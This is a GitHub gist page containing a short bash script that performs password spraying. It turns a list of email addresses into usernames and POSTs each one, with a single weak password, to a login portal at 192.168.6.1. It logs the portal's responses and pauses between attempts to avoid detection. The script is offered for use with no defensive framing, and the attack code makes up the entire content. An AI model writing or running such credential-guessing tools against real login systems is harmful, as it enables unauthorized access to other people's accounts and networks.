Created
January 3, 2013 07:19
-
-
Save mckelvin/4441488 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
RESULT_FILE=result.auto | |
mkdir -p account | |
rm -f $RESULT_FILE | |
for eachline in \`cat emails_gen.txt\` | |
do | |
clear | |
#正则获取email中@前的前缀 | |
username=\`echo $eachline|awk -F"@" '{print $1}'\` | |
echo $username >> $RESULT_FILE | |
#弱密码密码 | |
password="这儿是弱密码" | |
curl -X POST -d "DDDDD=$username&upass=$password&0MKKey=%B5%C7%C2%BC+Login" http://192.168.6.1/ | grep "Msg=" | awk -F";" '{print $1}' >> $RESULT_FILE | |
sleep 2 | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment